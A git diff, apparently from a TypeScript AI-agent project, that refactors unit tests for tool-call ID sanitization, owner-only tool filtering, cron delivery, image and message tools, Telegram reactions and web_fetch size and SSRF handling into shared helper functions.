||||
expect(typeof a.id).toBe("string");
|
||||
expect(typeof b.id).toBe("string");
|
||||
expect(a.id).not.toBe(b.id);
|
||||
expect(isValidCloudCodeAssistToolId(a.id as string, mode)).toBe(true);
|
||||
expect(isValidCloudCodeAssistToolId(b.id as string, mode)).toBe(true);
|
||||
|
||||
const r1 = out[1] as Extract<AgentMessage, { role: "toolResult" }>;
|
||||
const r2 = out[2] as Extract<AgentMessage, { role: "toolResult" }>;
|
||||
expect(r1.toolCallId).toBe(a.id);
|
||||
expect(r2.toolCallId).toBe(b.id);
|
||||
return { aId: a.id as string, bId: b.id as string };
|
||||
}
|
||||
|
||||
describe("sanitizeToolCallIdsForCloudCodeAssist", () => {
|
||||
describe("strict mode (default)", () => {
|
||||
it("is a no-op for already-valid non-colliding IDs", () => {
|
||||
@@ -53,44 +96,11 @@ describe("sanitizeToolCallIdsForCloudCodeAssist", () => {
|
||||
});
|
||||
|
||||
it("avoids collisions when sanitization would produce duplicate IDs", () => {
|
||||
const input = [
|
||||
{
|
||||
role: "assistant",
|
||||
content: [
|
||||
{ type: "toolCall", id: "call_a|b", name: "read", arguments: {} },
|
||||
{ type: "toolCall", id: "call_a:b", name: "read", arguments: {} },
|
||||
],
|
||||
},
|
||||
{
|
||||
role: "toolResult",
|
||||
toolCallId: "call_a|b",
|
||||
toolName: "read",
|
||||
content: [{ type: "text", text: "one" }],
|
||||
},
|
||||
{
|
||||
role: "toolResult",
|
||||
toolCallId: "call_a:b",
|
||||
toolName: "read",
|
||||
content: [{ type: "text", text: "two" }],
|
||||
},
|
||||
] satisfies AgentMessage[];
|
||||
const input = buildDuplicateIdCollisionInput();
|
||||
|
||||
const out = sanitizeToolCallIdsForCloudCodeAssist(input);
|
||||
expect(out).not.toBe(input);
|
||||
|
||||
const assistant = out[0] as Extract<AgentMessage, { role: "assistant" }>;
|
||||
const a = assistant.content?.[0] as { id?: string };
|
||||
const b = assistant.content?.[1] as { id?: string };
|
||||
expect(typeof a.id).toBe("string");
|
||||
expect(typeof b.id).toBe("string");
|
||||
expect(a.id).not.toBe(b.id);
|
||||
expect(isValidCloudCodeAssistToolId(a.id as string, "strict")).toBe(true);
|
||||
expect(isValidCloudCodeAssistToolId(b.id as string, "strict")).toBe(true);
|
||||
|
||||
const r1 = out[1] as Extract<AgentMessage, { role: "toolResult" }>;
|
||||
const r2 = out[2] as Extract<AgentMessage, { role: "toolResult" }>;
|
||||
expect(r1.toolCallId).toBe(a.id);
|
||||
expect(r2.toolCallId).toBe(b.id);
|
||||
expectCollisionIdsRemainDistinct(out, "strict");
|
||||
});
|
||||
|
||||
it("caps tool call IDs at 40 chars while preserving uniqueness", () => {
|
||||
@@ -174,48 +184,14 @@ describe("sanitizeToolCallIdsForCloudCodeAssist", () => {
|
||||
});
|
||||
|
||||
it("avoids collisions with alphanumeric-only suffixes", () => {
|
||||
const input = [
|
||||
{
|
||||
role: "assistant",
|
||||
content: [
|
||||
{ type: "toolCall", id: "call_a|b", name: "read", arguments: {} },
|
||||
{ type: "toolCall", id: "call_a:b", name: "read", arguments: {} },
|
||||
],
|
||||
},
|
||||
{
|
||||
role: "toolResult",
|
||||
toolCallId: "call_a|b",
|
||||
toolName: "read",
|
||||
content: [{ type: "text", text: "one" }],
|
||||
},
|
||||
{
|
||||
role: "toolResult",
|
||||
toolCallId: "call_a:b",
|
||||
toolName: "read",
|
||||
content: [{ type: "text", text: "two" }],
|
||||
},
|
||||
] satisfies AgentMessage[];
|
||||
const input = buildDuplicateIdCollisionInput();
|
||||
|
||||
const out = sanitizeToolCallIdsForCloudCodeAssist(input, "strict");
|
||||
expect(out).not.toBe(input);
|
||||
|
||||
const assistant = out[0] as Extract<AgentMessage, { role: "assistant" }>;
|
||||
const a = assistant.content?.[0] as { id?: string };
|
||||
const b = assistant.content?.[1] as { id?: string };
|
||||
expect(typeof a.id).toBe("string");
|
||||
expect(typeof b.id).toBe("string");
|
||||
expect(a.id).not.toBe(b.id);
|
||||
// Both should be strictly alphanumeric
|
||||
expect(isValidCloudCodeAssistToolId(a.id as string, "strict")).toBe(true);
|
||||
expect(isValidCloudCodeAssistToolId(b.id as string, "strict")).toBe(true);
|
||||
const { aId, bId } = expectCollisionIdsRemainDistinct(out, "strict");
|
||||
// Should not contain underscores or hyphens
|
||||
expect(a.id).not.toMatch(/[_-]/);
|
||||
expect(b.id).not.toMatch(/[_-]/);
|
||||
|
||||
const r1 = out[1] as Extract<AgentMessage, { role: "toolResult" }>;
|
||||
const r2 = out[2] as Extract<AgentMessage, { role: "toolResult" }>;
|
||||
expect(r1.toolCallId).toBe(a.id);
|
||||
expect(r2.toolCallId).toBe(b.id);
|
||||
expect(aId).not.toMatch(/[_-]/);
|
||||
expect(bId).not.toMatch(/[_-]/);
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -13,6 +13,21 @@ import {
|
||||
TOOL_GROUPS,
|
||||
} from "./tool-policy.js";
|
||||
|
||||
function createOwnerPolicyTools() {
|
||||
return [
|
||||
{
|
||||
name: "read",
|
||||
// oxlint-disable-next-line typescript/no-explicit-any
|
||||
execute: async () => ({ content: [], details: {} }) as any,
|
||||
},
|
||||
{
|
||||
name: "whatsapp_login",
|
||||
// oxlint-disable-next-line typescript/no-explicit-any
|
||||
execute: async () => ({ content: [], details: {} }) as any,
|
||||
},
|
||||
] as unknown as AnyAgentTool[];
|
||||
}
|
||||
|
||||
describe("tool-policy", () => {
|
||||
it("expands groups and normalizes aliases", () => {
|
||||
const expanded = expandToolGroups(["group:runtime", "BASH", "apply-patch", "group:fs"]);
|
||||
@@ -52,37 +67,13 @@ describe("tool-policy", () => {
|
||||
});
|
||||
|
||||
it("strips owner-only tools for non-owner senders", async () => {
|
||||
const tools = [
|
||||
{
|
||||
name: "read",
|
||||
// oxlint-disable-next-line typescript/no-explicit-any
|
||||
execute: async () => ({ content: [], details: {} }) as any,
|
||||
},
|
||||
{
|
||||
name: "whatsapp_login",
|
||||
// oxlint-disable-next-line typescript/no-explicit-any
|
||||
execute: async () => ({ content: [], details: {} }) as any,
|
||||
},
|
||||
] as unknown as AnyAgentTool[];
|
||||
|
||||
const tools = createOwnerPolicyTools();
|
||||
const filtered = applyOwnerOnlyToolPolicy(tools, false);
|
||||
expect(filtered.map((t) => t.name)).toEqual(["read"]);
|
||||
});
|
||||
|
||||
it("keeps owner-only tools for the owner sender", async () => {
|
||||
const tools = [
|
||||
{
|
||||
name: "read",
|
||||
// oxlint-disable-next-line typescript/no-explicit-any
|
||||
execute: async () => ({ content: [], details: {} }) as any,
|
||||
},
|
||||
{
|
||||
name: "whatsapp_login",
|
||||
// oxlint-disable-next-line typescript/no-explicit-any
|
||||
execute: async () => ({ content: [], details: {} }) as any,
|
||||
},
|
||||
] as unknown as AnyAgentTool[];
|
||||
|
||||
const tools = createOwnerPolicyTools();
|
||||
const filtered = applyOwnerOnlyToolPolicy(tools, true);
|
||||
expect(filtered.map((t) => t.name)).toEqual(["read", "whatsapp_login"]);
|
||||
});
|
||||
|
||||
@@ -12,6 +12,28 @@ vi.mock("../agent-scope.js", () => ({
|
||||
import { createCronTool } from "./cron-tool.js";
|
||||
|
||||
describe("cron tool", () => {
|
||||
async function executeAddAndReadDelivery(params: {
|
||||
callId: string;
|
||||
agentSessionKey: string;
|
||||
delivery?: { mode?: string; channel?: string; to?: string } | null;
|
||||
}) {
|
||||
const tool = createCronTool({ agentSessionKey: params.agentSessionKey });
|
||||
await tool.execute(params.callId, {
|
||||
action: "add",
|
||||
job: {
|
||||
name: "reminder",
|
||||
schedule: { at: new Date(123).toISOString() },
|
||||
payload: { kind: "agentTurn", message: "hello" },
|
||||
...(params.delivery !== undefined ? { delivery: params.delivery } : {}),
|
||||
},
|
||||
});
|
||||
|
||||
const call = callGatewayMock.mock.calls[0]?.[0] as {
|
||||
params?: { delivery?: { mode?: string; channel?: string; to?: string } };
|
||||
};
|
||||
return call?.params?.delivery;
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
callGatewayMock.mockReset();
|
||||
callGatewayMock.mockResolvedValue({ ok: true });
|
||||
@@ -249,24 +271,12 @@ describe("cron tool", () => {
|
||||
});
|
||||
|
||||
it("infers delivery from threaded session keys", async () => {
|
||||
callGatewayMock.mockResolvedValueOnce({ ok: true });
|
||||
|
||||
const tool = createCronTool({
|
||||
agentSessionKey: "agent:main:slack:channel:general:thread:1699999999.0001",
|
||||
});
|
||||
await tool.execute("call-thread", {
|
||||
action: "add",
|
||||
job: {
|
||||
name: "reminder",
|
||||
schedule: { at: new Date(123).toISOString() },
|
||||
payload: { kind: "agentTurn", message: "hello" },
|
||||
},
|
||||
});
|
||||
|
||||
const call = callGatewayMock.mock.calls[0]?.[0] as {
|
||||
params?: { delivery?: { mode?: string; channel?: string; to?: string } };
|
||||
};
|
||||
expect(call?.params?.delivery).toEqual({
|
||||
expect(
|
||||
await executeAddAndReadDelivery({
|
||||
callId: "call-thread",
|
||||
agentSessionKey: "agent:main:slack:channel:general:thread:1699999999.0001",
|
||||
}),
|
||||
).toEqual({
|
||||
mode: "announce",
|
||||
channel: "slack",
|
||||
to: "general",
|
||||
@@ -274,24 +284,12 @@ describe("cron tool", () => {
|
||||
});
|
||||
|
||||
it("preserves telegram forum topics when inferring delivery", async () => {
|
||||
callGatewayMock.mockResolvedValueOnce({ ok: true });
|
||||
|
||||
const tool = createCronTool({
|
||||
agentSessionKey: "agent:main:telegram:group:-1001234567890:topic:99",
|
||||
});
|
||||
await tool.execute("call-telegram-topic", {
|
||||
action: "add",
|
||||
job: {
|
||||
name: "reminder",
|
||||
schedule: { at: new Date(123).toISOString() },
|
||||
payload: { kind: "agentTurn", message: "hello" },
|
||||
},
|
||||
});
|
||||
|
||||
const call = callGatewayMock.mock.calls[0]?.[0] as {
|
||||
params?: { delivery?: { mode?: string; channel?: string; to?: string } };
|
||||
};
|
||||
expect(call?.params?.delivery).toEqual({
|
||||
expect(
|
||||
await executeAddAndReadDelivery({
|
||||
callId: "call-telegram-topic",
|
||||
agentSessionKey: "agent:main:telegram:group:-1001234567890:topic:99",
|
||||
}),
|
||||
).toEqual({
|
||||
mode: "announce",
|
||||
channel: "telegram",
|
||||
to: "-1001234567890:topic:99",
|
||||
@@ -299,23 +297,13 @@ describe("cron tool", () => {
|
||||
});
|
||||
|
||||
it("infers delivery when delivery is null", async () => {
|
||||
callGatewayMock.mockResolvedValueOnce({ ok: true });
|
||||
|
||||
const tool = createCronTool({ agentSessionKey: "agent:main:dm:alice" });
|
||||
await tool.execute("call-null-delivery", {
|
||||
action: "add",
|
||||
job: {
|
||||
name: "reminder",
|
||||
schedule: { at: new Date(123).toISOString() },
|
||||
payload: { kind: "agentTurn", message: "hello" },
|
||||
expect(
|
||||
await executeAddAndReadDelivery({
|
||||
callId: "call-null-delivery",
|
||||
agentSessionKey: "agent:main:dm:alice",
|
||||
delivery: null,
|
||||
},
|
||||
});
|
||||
|
||||
const call = callGatewayMock.mock.calls[0]?.[0] as {
|
||||
params?: { delivery?: { mode?: string; channel?: string; to?: string } };
|
||||
};
|
||||
expect(call?.params?.delivery).toEqual({
|
||||
}),
|
||||
).toEqual({
|
||||
mode: "announce",
|
||||
to: "alice",
|
||||
});
|
||||
|
||||
@@ -62,6 +62,22 @@ function createMinimaxImageConfig(): OpenClawConfig {
|
||||
};
|
||||
}
|
||||
|
||||
async function expectImageToolExecOk(
|
||||
tool: {
|
||||
execute: (toolCallId: string, input: { prompt: string; image: string }) => Promise<unknown>;
|
||||
},
|
||||
image: string,
|
||||
) {
|
||||
await expect(
|
||||
tool.execute("t1", {
|
||||
prompt: "Describe the image.",
|
||||
image,
|
||||
}),
|
||||
).resolves.toMatchObject({
|
||||
content: [{ type: "text", text: "ok" }],
|
||||
});
|
||||
}
|
||||
|
||||
describe("image tool implicit imageModel config", () => {
|
||||
const priorFetch = global.fetch;
|
||||
|
||||
@@ -220,14 +236,7 @@ describe("image tool implicit imageModel config", () => {
|
||||
throw new Error("expected image tool");
|
||||
}
|
||||
|
||||
await expect(
|
||||
withWorkspace.execute("t1", {
|
||||
prompt: "Describe the image.",
|
||||
image: imagePath,
|
||||
}),
|
||||
).resolves.toMatchObject({
|
||||
content: [{ type: "text", text: "ok" }],
|
||||
});
|
||||
await expectImageToolExecOk(withWorkspace, imagePath);
|
||||
|
||||
expect(fetch).toHaveBeenCalledTimes(1);
|
||||
} finally {
|
||||
@@ -250,14 +259,7 @@ describe("image tool implicit imageModel config", () => {
|
||||
throw new Error("expected image tool");
|
||||
}
|
||||
|
||||
await expect(
|
||||
tool.execute("t1", {
|
||||
prompt: "Describe the image.",
|
||||
image: imagePath,
|
||||
}),
|
||||
).resolves.toMatchObject({
|
||||
content: [{ type: "text", text: "ok" }],
|
||||
});
|
||||
await expectImageToolExecOk(tool, imagePath);
|
||||
|
||||
expect(fetch).toHaveBeenCalledTimes(1);
|
||||
} finally {
|
||||
@@ -383,15 +385,15 @@ describe("image tool MiniMax VLM routing", () => {
|
||||
global.fetch = priorFetch;
|
||||
});
|
||||
|
||||
it("calls /v1/coding_plan/vlm for minimax image models", async () => {
|
||||
async function createMinimaxVlmFixture(baseResp: { status_code: number; status_msg: string }) {
|
||||
const fetch = vi.fn().mockResolvedValue({
|
||||
ok: true,
|
||||
status: 200,
|
||||
statusText: "OK",
|
||||
headers: new Headers(),
|
||||
json: async () => ({
|
||||
content: "ok",
|
||||
base_resp: { status_code: 0, status_msg: "" },
|
||||
content: baseResp.status_code === 0 ? "ok" : "",
|
||||
base_resp: baseResp,
|
||||
}),
|
||||
});
|
||||
// @ts-expect-error partial global
|
||||
@@ -407,6 +409,11 @@ describe("image tool MiniMax VLM routing", () => {
|
||||
if (!tool) {
|
||||
throw new Error("expected image tool");
|
||||
}
|
||||
return { fetch, tool };
|
||||
}
|
||||
|
||||
it("calls /v1/coding_plan/vlm for minimax image models", async () => {
|
||||
const { fetch, tool } = await createMinimaxVlmFixture({ status_code: 0, status_msg: "" });
|
||||
|
||||
const res = await tool.execute("t1", {
|
||||
prompt: "Describe the image.",
|
||||
@@ -428,29 +435,7 @@ describe("image tool MiniMax VLM routing", () => {
|
||||
});
|
||||
|
||||
it("surfaces MiniMax API errors from /v1/coding_plan/vlm", async () => {
|
||||
const fetch = vi.fn().mockResolvedValue({
|
||||
ok: true,
|
||||
status: 200,
|
||||
statusText: "OK",
|
||||
headers: new Headers(),
|
||||
json: async () => ({
|
||||
content: "",
|
||||
base_resp: { status_code: 1004, status_msg: "bad key" },
|
||||
}),
|
||||
});
|
||||
// @ts-expect-error partial global
|
||||
global.fetch = fetch;
|
||||
|
||||
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-minimax-vlm-"));
|
||||
vi.stubEnv("MINIMAX_API_KEY", "minimax-test");
|
||||
const cfg: OpenClawConfig = {
|
||||
agents: { defaults: { model: { primary: "minimax/MiniMax-M2.1" } } },
|
||||
};
|
||||
const tool = createImageTool({ config: cfg, agentDir });
|
||||
expect(tool).not.toBeNull();
|
||||
if (!tool) {
|
||||
throw new Error("expected image tool");
|
||||
}
|
||||
const { tool } = await createMinimaxVlmFixture({ status_code: 1004, status_msg: "bad key" });
|
||||
|
||||
await expect(
|
||||
tool.execute("t1", {
|
||||
|
||||
@@ -19,17 +19,22 @@ vi.mock("../../infra/outbound/message-action-runner.js", async () => {
|
||||
};
|
||||
});
|
||||
|
||||
function mockSendResult(overrides: { channel?: string; to?: string } = {}) {
|
||||
mocks.runMessageAction.mockClear();
|
||||
mocks.runMessageAction.mockResolvedValue({
|
||||
kind: "send",
|
||||
action: "send",
|
||||
channel: overrides.channel ?? "telegram",
|
||||
...(overrides.to ? { to: overrides.to } : {}),
|
||||
handledBy: "plugin",
|
||||
payload: {},
|
||||
dryRun: true,
|
||||
} satisfies MessageActionRunResult);
|
||||
}
|
||||
|
||||
describe("message tool agent routing", () => {
|
||||
it("derives agentId from the session key", async () => {
|
||||
mocks.runMessageAction.mockClear();
|
||||
mocks.runMessageAction.mockResolvedValue({
|
||||
kind: "send",
|
||||
action: "send",
|
||||
channel: "telegram",
|
||||
handledBy: "plugin",
|
||||
payload: {},
|
||||
dryRun: true,
|
||||
} satisfies MessageActionRunResult);
|
||||
mockSendResult();
|
||||
|
||||
const tool = createMessageTool({
|
||||
agentSessionKey: "agent:alpha:main",
|
||||
@@ -50,16 +55,7 @@ describe("message tool agent routing", () => {
|
||||
|
||||
describe("message tool path passthrough", () => {
|
||||
it("does not convert path to media for send", async () => {
|
||||
mocks.runMessageAction.mockClear();
|
||||
mocks.runMessageAction.mockResolvedValue({
|
||||
kind: "send",
|
||||
action: "send",
|
||||
channel: "telegram",
|
||||
to: "telegram:123",
|
||||
handledBy: "plugin",
|
||||
payload: {},
|
||||
dryRun: true,
|
||||
} satisfies MessageActionRunResult);
|
||||
mockSendResult({ to: "telegram:123" });
|
||||
|
||||
const tool = createMessageTool({
|
||||
config: {} as never,
|
||||
@@ -78,16 +74,7 @@ describe("message tool path passthrough", () => {
|
||||
});
|
||||
|
||||
it("does not convert filePath to media for send", async () => {
|
||||
mocks.runMessageAction.mockClear();
|
||||
mocks.runMessageAction.mockResolvedValue({
|
||||
kind: "send",
|
||||
action: "send",
|
||||
channel: "telegram",
|
||||
to: "telegram:123",
|
||||
handledBy: "plugin",
|
||||
payload: {},
|
||||
dryRun: true,
|
||||
} satisfies MessageActionRunResult);
|
||||
mockSendResult({ to: "telegram:123" });
|
||||
|
||||
const tool = createMessageTool({
|
||||
config: {} as never,
|
||||
@@ -164,16 +151,7 @@ describe("message tool description", () => {
|
||||
|
||||
describe("message tool reasoning tag sanitization", () => {
|
||||
it("strips <think> tags from text field before sending", async () => {
|
||||
mocks.runMessageAction.mockClear();
|
||||
mocks.runMessageAction.mockResolvedValue({
|
||||
kind: "send",
|
||||
action: "send",
|
||||
channel: "signal",
|
||||
to: "signal:+15551234567",
|
||||
handledBy: "plugin",
|
||||
payload: {},
|
||||
dryRun: true,
|
||||
} satisfies MessageActionRunResult);
|
||||
mockSendResult({ channel: "signal", to: "signal:+15551234567" });
|
||||
|
||||
const tool = createMessageTool({ config: {} as never });
|
||||
|
||||
@@ -188,16 +166,7 @@ describe("message tool reasoning tag sanitization", () => {
|
||||
});
|
||||
|
||||
it("strips <think> tags from content field before sending", async () => {
|
||||
mocks.runMessageAction.mockClear();
|
||||
mocks.runMessageAction.mockResolvedValue({
|
||||
kind: "send",
|
||||
action: "send",
|
||||
channel: "discord",
|
||||
to: "discord:123",
|
||||
handledBy: "plugin",
|
||||
payload: {},
|
||||
dryRun: true,
|
||||
} satisfies MessageActionRunResult);
|
||||
mockSendResult({ channel: "discord", to: "discord:123" });
|
||||
|
||||
const tool = createMessageTool({ config: {} as never });
|
||||
|
||||
@@ -212,16 +181,7 @@ describe("message tool reasoning tag sanitization", () => {
|
||||
});
|
||||
|
||||
it("passes through text without reasoning tags unchanged", async () => {
|
||||
mocks.runMessageAction.mockClear();
|
||||
mocks.runMessageAction.mockResolvedValue({
|
||||
kind: "send",
|
||||
action: "send",
|
||||
channel: "signal",
|
||||
to: "signal:+15551234567",
|
||||
handledBy: "plugin",
|
||||
payload: {},
|
||||
dryRun: true,
|
||||
} satisfies MessageActionRunResult);
|
||||
mockSendResult({ channel: "signal", to: "signal:+15551234567" });
|
||||
|
||||
const tool = createMessageTool({ config: {} as never });
|
||||
|
||||
@@ -238,16 +198,7 @@ describe("message tool reasoning tag sanitization", () => {
|
||||
|
||||
describe("message tool sandbox passthrough", () => {
|
||||
it("forwards sandboxRoot to runMessageAction", async () => {
|
||||
mocks.runMessageAction.mockClear();
|
||||
mocks.runMessageAction.mockResolvedValue({
|
||||
kind: "send",
|
||||
action: "send",
|
||||
channel: "telegram",
|
||||
to: "telegram:123",
|
||||
handledBy: "plugin",
|
||||
payload: {},
|
||||
dryRun: true,
|
||||
} satisfies MessageActionRunResult);
|
||||
mockSendResult({ to: "telegram:123" });
|
||||
|
||||
const tool = createMessageTool({
|
||||
config: {} as never,
|
||||
@@ -265,16 +216,7 @@ describe("message tool sandbox passthrough", () => {
|
||||
});
|
||||
|
||||
it("omits sandboxRoot when not configured", async () => {
|
||||
mocks.runMessageAction.mockClear();
|
||||
mocks.runMessageAction.mockResolvedValue({
|
||||
kind: "send",
|
||||
action: "send",
|
||||
channel: "telegram",
|
||||
to: "telegram:123",
|
||||
handledBy: "plugin",
|
||||
payload: {},
|
||||
dryRun: true,
|
||||
} satisfies MessageActionRunResult);
|
||||
mockSendResult({ to: "telegram:123" });
|
||||
|
||||
const tool = createMessageTool({
|
||||
config: {} as never,
|
||||
|
||||
@@ -22,6 +22,29 @@ vi.mock("../../telegram/send.js", () => ({
|
||||
}));
|
||||
|
||||
describe("handleTelegramAction", () => {
|
||||
const defaultReactionAction = {
|
||||
action: "react",
|
||||
chatId: "123",
|
||||
messageId: "456",
|
||||
emoji: "✅",
|
||||
} as const;
|
||||
|
||||
function reactionConfig(reactionLevel: "minimal" | "extensive" | "off" | "ack"): OpenClawConfig {
|
||||
return {
|
||||
channels: { telegram: { botToken: "tok", reactionLevel } },
|
||||
} as OpenClawConfig;
|
||||
}
|
||||
|
||||
async function expectReactionAdded(reactionLevel: "minimal" | "extensive") {
|
||||
await handleTelegramAction(defaultReactionAction, reactionConfig(reactionLevel));
|
||||
expect(reactMessageTelegram).toHaveBeenCalledWith(
|
||||
"123",
|
||||
456,
|
||||
"✅",
|
||||
expect.objectContaining({ token: "tok", remove: false }),
|
||||
);
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
reactMessageTelegram.mockClear();
|
||||
sendMessageTelegram.mockClear();
|
||||
@@ -39,24 +62,7 @@ describe("handleTelegramAction", () => {
|
||||
});
|
||||
|
||||
it("adds reactions when reactionLevel is minimal", async () => {
|
||||
const cfg = {
|
||||
channels: { telegram: { botToken: "tok", reactionLevel: "minimal" } },
|
||||
} as OpenClawConfig;
|
||||
await handleTelegramAction(
|
||||
{
|
||||
action: "react",
|
||||
chatId: "123",
|
||||
messageId: "456",
|
||||
emoji: "✅",
|
||||
},
|
||||
cfg,
|
||||
);
|
||||
expect(reactMessageTelegram).toHaveBeenCalledWith(
|
||||
"123",
|
||||
456,
|
||||
"✅",
|
||||
expect.objectContaining({ token: "tok", remove: false }),
|
||||
);
|
||||
await expectReactionAdded("minimal");
|
||||
});
|
||||
|
||||
it("surfaces non-fatal reaction warnings", async () => {
|
||||
@@ -64,18 +70,7 @@ describe("handleTelegramAction", () => {
|
||||
ok: false,
|
||||
warning: "Reaction unavailable: ✅",
|
||||
});
|
||||
const cfg = {
|
||||
channels: { telegram: { botToken: "tok", reactionLevel: "minimal" } },
|
||||
} as OpenClawConfig;
|
||||
const result = await handleTelegramAction(
|
||||
{
|
||||
action: "react",
|
||||
chatId: "123",
|
||||
messageId: "456",
|
||||
emoji: "✅",
|
||||
},
|
||||
cfg,
|
||||
);
|
||||
const result = await handleTelegramAction(defaultReactionAction, reactionConfig("minimal"));
|
||||
const textPayload = result.content.find((item) => item.type === "text");
|
||||
expect(textPayload?.type).toBe("text");
|
||||
const parsed = JSON.parse((textPayload as { type: "text"; text: string }).text) as {
|
||||
@@ -91,24 +86,7 @@ describe("handleTelegramAction", () => {
|
||||
});
|
||||
|
||||
it("adds reactions when reactionLevel is extensive", async () => {
|
||||
const cfg = {
|
||||
channels: { telegram: { botToken: "tok", reactionLevel: "extensive" } },
|
||||
} as OpenClawConfig;
|
||||
await handleTelegramAction(
|
||||
{
|
||||
action: "react",
|
||||
chatId: "123",
|
||||
messageId: "456",
|
||||
emoji: "✅",
|
||||
},
|
||||
cfg,
|
||||
);
|
||||
expect(reactMessageTelegram).toHaveBeenCalledWith(
|
||||
"123",
|
||||
456,
|
||||
"✅",
|
||||
expect.objectContaining({ token: "tok", remove: false }),
|
||||
);
|
||||
await expectReactionAdded("extensive");
|
||||
});
|
||||
|
||||
it("removes reactions on empty emoji", async () => {
|
||||
@@ -167,9 +145,7 @@ describe("handleTelegramAction", () => {
|
||||
});
|
||||
|
||||
it("removes reactions when remove flag set", async () => {
|
||||
const cfg = {
|
||||
channels: { telegram: { botToken: "tok", reactionLevel: "extensive" } },
|
||||
} as OpenClawConfig;
|
||||
const cfg = reactionConfig("extensive");
|
||||
await handleTelegramAction(
|
||||
{
|
||||
action: "react",
|
||||
@@ -189,9 +165,7 @@ describe("handleTelegramAction", () => {
|
||||
});
|
||||
|
||||
it("blocks reactions when reactionLevel is off", async () => {
|
||||
const cfg = {
|
||||
channels: { telegram: { botToken: "tok", reactionLevel: "off" } },
|
||||
} as OpenClawConfig;
|
||||
const cfg = reactionConfig("off");
|
||||
await expect(
|
||||
handleTelegramAction(
|
||||
{
|
||||
@@ -206,9 +180,7 @@ describe("handleTelegramAction", () => {
|
||||
});
|
||||
|
||||
it("blocks reactions when reactionLevel is ack", async () => {
|
||||
const cfg = {
|
||||
channels: { telegram: { botToken: "tok", reactionLevel: "ack" } },
|
||||
} as OpenClawConfig;
|
||||
const cfg = reactionConfig("ack");
|
||||
await expect(
|
||||
handleTelegramAction(
|
||||
{
|
||||
|
||||
@@ -1,28 +1,14 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import * as ssrf from "../../infra/net/ssrf.js";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import * as logger from "../../logger.js";
|
||||
import {
|
||||
createBaseWebFetchToolConfig,
|
||||
installWebFetchSsrfHarness,
|
||||
} from "./web-fetch.test-harness.js";
|
||||
import "./web-fetch.test-mocks.js";
|
||||
import { createWebFetchTool } from "./web-tools.js";
|
||||
|
||||
// Avoid dynamic-importing heavy readability deps in this unit test suite.
|
||||
vi.mock("./web-fetch-utils.js", async () => {
|
||||
const actual =
|
||||
await vi.importActual<typeof import("./web-fetch-utils.js")>("./web-fetch-utils.js");
|
||||
return {
|
||||
...actual,
|
||||
extractReadableContent: vi.fn().mockResolvedValue({
|
||||
title: "HTML Page",
|
||||
text: "HTML Page\n\nContent here.",
|
||||
}),
|
||||
};
|
||||
});
|
||||
|
||||
const lookupMock = vi.fn();
|
||||
const resolvePinnedHostname = ssrf.resolvePinnedHostname;
|
||||
const baseToolConfig = {
|
||||
config: {
|
||||
tools: { web: { fetch: { cacheTtlMinutes: 0, firecrawl: { enabled: false } } } },
|
||||
},
|
||||
} as const;
|
||||
const baseToolConfig = createBaseWebFetchToolConfig();
|
||||
installWebFetchSsrfHarness();
|
||||
|
||||
function makeHeaders(map: Record<string, string>): { get: (key: string) => string | null } {
|
||||
return {
|
||||
@@ -49,22 +35,6 @@ function htmlResponse(body: string): Response {
|
||||
}
|
||||
|
||||
describe("web_fetch Cloudflare Markdown for Agents", () => {
|
||||
const priorFetch = global.fetch;
|
||||
|
||||
beforeEach(() => {
|
||||
lookupMock.mockResolvedValue([{ address: "93.184.216.34", family: 4 }]);
|
||||
vi.spyOn(ssrf, "resolvePinnedHostname").mockImplementation((hostname) =>
|
||||
resolvePinnedHostname(hostname, lookupMock),
|
||||
);
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
// @ts-expect-error restore
|
||||
global.fetch = priorFetch;
|
||||
lookupMock.mockReset();
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
it("sends Accept header preferring text/markdown", async () => {
|
||||
const fetchSpy = vi.fn().mockResolvedValue(markdownResponse("# Test Page\n\nHello world."));
|
||||
// @ts-expect-error mock fetch
|
||||
|
||||
@@ -1,47 +1,15 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import * as ssrf from "../../infra/net/ssrf.js";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import {
|
||||
createBaseWebFetchToolConfig,
|
||||
installWebFetchSsrfHarness,
|
||||
} from "./web-fetch.test-harness.js";
|
||||
import "./web-fetch.test-mocks.js";
|
||||
import { createWebFetchTool } from "./web-tools.js";
|
||||
|
||||
// Avoid dynamic-importing heavy readability deps in this unit test suite.
|
||||
vi.mock("./web-fetch-utils.js", async () => {
|
||||
const actual =
|
||||
await vi.importActual<typeof import("./web-fetch-utils.js")>("./web-fetch-utils.js");
|
||||
return {
|
||||
...actual,
|
||||
extractReadableContent: vi.fn().mockResolvedValue({
|
||||
title: "HTML Page",
|
||||
text: "HTML Page\n\nContent here.",
|
||||
}),
|
||||
};
|
||||
});
|
||||
|
||||
const lookupMock = vi.fn();
|
||||
const resolvePinnedHostname = ssrf.resolvePinnedHostname;
|
||||
const baseToolConfig = {
|
||||
config: {
|
||||
tools: {
|
||||
web: { fetch: { cacheTtlMinutes: 0, firecrawl: { enabled: false }, maxResponseBytes: 1024 } },
|
||||
},
|
||||
},
|
||||
} as const;
|
||||
const baseToolConfig = createBaseWebFetchToolConfig({ maxResponseBytes: 1024 });
|
||||
installWebFetchSsrfHarness();
|
||||
|
||||
describe("web_fetch response size limits", () => {
|
||||
const priorFetch = global.fetch;
|
||||
|
||||
beforeEach(() => {
|
||||
lookupMock.mockResolvedValue([{ address: "93.184.216.34", family: 4 }]);
|
||||
vi.spyOn(ssrf, "resolvePinnedHostname").mockImplementation((hostname) =>
|
||||
resolvePinnedHostname(hostname, lookupMock),
|
||||
);
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
// @ts-expect-error restore
|
||||
global.fetch = priorFetch;
|
||||
lookupMock.mockReset();
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
it("caps response bytes and does not hang on endless streams", async () => {
|
||||
const chunk = new TextEncoder().encode("<html><body><div>hi</div></body></html>");
|
||||
const stream = new ReadableStream<Uint8Array>({
|
||||
|
||||
@@ -28,6 +28,30 @@ function textResponse(body: string): Response {
|
||||
} as Response;
|
